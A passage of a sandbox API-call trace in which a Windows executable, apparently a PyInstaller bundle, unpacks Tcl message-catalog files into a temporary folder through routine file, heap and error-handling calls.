lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.850] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.850] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.850] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.850] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.850] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.850] CloseHandle (hObject=0x10c) returned 1 [0037.850] GetLastError () returned 0x0 [0037.850] SetLastError (dwErrCode=0x0) [0037.850] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.850] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.850] GetFileType (hFile=0x10c) returned 0x1 [0037.850] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.850] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.850] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.850] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.850] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.850] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.850] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.850] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.850] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.850] CloseHandle (hObject=0x10c) returned 1 [0037.850] GetLastError () returned 0x0 [0037.851] SetLastError (dwErrCode=0x0) [0037.851] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\vi.msg") returned 61 [0037.851] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\vi.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\vi.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.851] GetLastError () returned 0x2 [0037.851] SetLastError (dwErrCode=0x2) [0037.851] GetLastError () returned 0x2 [0037.851] SetLastError (dwErrCode=0x2) [0037.851] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\vi.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\vi.msg", lpFilePart=0x0) returned 0x3c [0037.851] GetLastError () returned 0x2 [0037.851] SetLastError (dwErrCode=0x2) [0037.851] GetLastError () returned 0x2 [0037.851] SetLastError (dwErrCode=0x2) [0037.851] GetLastError () returned 0x2 [0037.851] SetLastError (dwErrCode=0x2) [0037.851] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\vi.msg") returned 61 [0037.851] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.851] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\vi.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\vi.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.852] GetFileType (hFile=0x10c) returned 0x1 [0037.852] htonl (hostlong=0x8d050000) returned 0x58d [0037.852] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.852] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x58d, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x58d, lpOverlapped=0x0) returned 1 [0037.854] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.854] CloseHandle (hObject=0x10c) returned 1 [0037.854] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.854] htonl (hostlong=0x30000000) returned 0x30 [0037.854] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.854] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.854] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.855] GetFileType (hFile=0x10c) returned 0x1 [0037.855] htonl (hostlong=0x82ac5700) returned 0x57ac82 [0037.855] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c5c82, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.855] htonl (hostlong=0xb1020000) returned 0x2b1 [0037.855] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2b1) returned 0x550600 [0037.855] htonl (hostlong=0xb1020000) returned 0x2b1 [0037.855] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.855] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.855] htonl (hostlong=0x20d0000) returned 0xd02 [0037.855] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd02) returned 0x55e278 [0037.855] htonl (hostlong=0xb1020000) returned 0x2b1 [0037.855] htonl (hostlong=0x20d0000) returned 0xd02 [0037.855] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.855] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.855] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.855] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.855] CloseHandle (hObject=0x10c) returned 1 [0037.855] GetLastError () returned 0x0 [0037.855] SetLastError (dwErrCode=0x0) [0037.855] GetLastError () returned 0x0 [0037.855] SetLastError (dwErrCode=0x0) [0037.855] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.855] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.855] GetFileType (hFile=0x10c) returned 0x1 [0037.855] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.855] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.856] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.856] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.856] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.856] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.856] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.856] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.856] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.856] CloseHandle (hObject=0x10c) returned 1 [0037.856] GetLastError () returned 0x0 [0037.856] SetLastError (dwErrCode=0x0) [0037.856] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.856] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.856] GetFileType (hFile=0x10c) returned 0x1 [0037.856] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.856] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.856] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.856] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.856] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.856] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.856] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.856] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.856] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.856] CloseHandle (hObject=0x10c) returned 1 [0037.857] GetLastError () returned 0x0 [0037.857] SetLastError (dwErrCode=0x0) [0037.857] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh.msg") returned 61 [0037.857] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\zh.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.857] GetLastError () returned 0x2 [0037.857] SetLastError (dwErrCode=0x2) [0037.857] GetLastError () returned 0x2 [0037.857] SetLastError (dwErrCode=0x2) [0037.857] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh.msg", lpFilePart=0x0) returned 0x3c [0037.857] GetLastError () returned 0x2 [0037.857] SetLastError (dwErrCode=0x2) [0037.857] GetLastError () returned 0x2 [0037.857] SetLastError (dwErrCode=0x2) [0037.857] GetLastError () returned 0x2 [0037.857] SetLastError (dwErrCode=0x2) [0037.857] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh.msg") returned 61 [0037.857] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.857] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\zh.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.857] GetFileType (hFile=0x10c) returned 0x1 [0037.857] htonl (hostlong=0x20d0000) returned 0xd02 [0037.857] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.857] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xd02, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xd02, lpOverlapped=0x0) returned 1 [0037.858] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.858] CloseHandle (hObject=0x10c) returned 1 [0037.859] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.859] htonl (hostlong=0x30000000) returned 0x30 [0037.859] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.859] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.859] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.859] GetFileType (hFile=0x10c) returned 0x1 [0037.859] htonl (hostlong=0x33af5700) returned 0x57af33 [0037.859] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c5f33, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.859] htonl (hostlong=0xba000000) returned 0xba [0037.859] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xba) returned 0x55cfe0 [0037.860] htonl (hostlong=0xba000000) returned 0xba [0037.860] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.860] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.860] htonl (hostlong=0x38010000) returned 0x138 [0037.860] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x138) returned 0x550600 [0037.860] htonl (hostlong=0xba000000) returned 0xba [0037.860] htonl (hostlong=0x38010000) returned 0x138 [0037.860] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.860] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.860] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.860] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.860] CloseHandle (hObject=0x10c) returned 1 [0037.860] GetLastError () returned 0x0 [0037.860] SetLastError (dwErrCode=0x0) [0037.860] GetLastError () returned 0x0 [0037.860] SetLastError (dwErrCode=0x0) [0037.860] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.860] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.860] GetFileType (hFile=0x10c) returned 0x1 [0037.860] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.860] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.861] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.861] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.861] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.861] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.861] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.861] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.861] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.861] CloseHandle (hObject=0x10c) returned 1 [0037.861] GetLastError () returned 0x0 [0037.861] SetLastError (dwErrCode=0x0) [0037.861] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.861] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.861] GetFileType (hFile=0x10c) returned 0x1 [0037.861] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.861] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.861] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.861] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.861] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.861] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.861] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.861] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.861] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.861] CloseHandle (hObject=0x10c) returned 1 [0037.862] GetLastError () returned 0x0 [0037.862] SetLastError (dwErrCode=0x0) [0037.862] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh_cn.msg") returned 64 [0037.862] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh_cn.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\zh_cn.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.862] GetLastError () returned 0x2 [0037.862] SetLastError (dwErrCode=0x2) [0037.862] GetLastError () returned 0x2 [0037.862] SetLastError (dwErrCode=0x2) [0037.862] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh_cn.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh_cn.msg", lpFilePart=0x0) returned 0x3f [0037.862] GetLastError () returned 0x2 [0037.862] SetLastError (dwErrCode=0x2) [0037.862] GetLastError () returned 0x2 [0037.862] SetLastError (dwErrCode=0x2) [0037.862] GetLastError () returned 0x2 [0037.862] SetLastError (dwErrCode=0x2) [0037.862] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh_cn.msg") returned 64 [0037.862] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.862] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh_cn.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\zh_cn.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.864] GetFileType (hFile=0x10c) returned 0x1 [0037.864] htonl (hostlong=0x38010000) returned 0x138 [0037.864] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.864] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x138, lpOverlapped=0x0) returned 1 [0037.865] HeapFree (in: hHeap=0x530000, dwFlags=0x0, 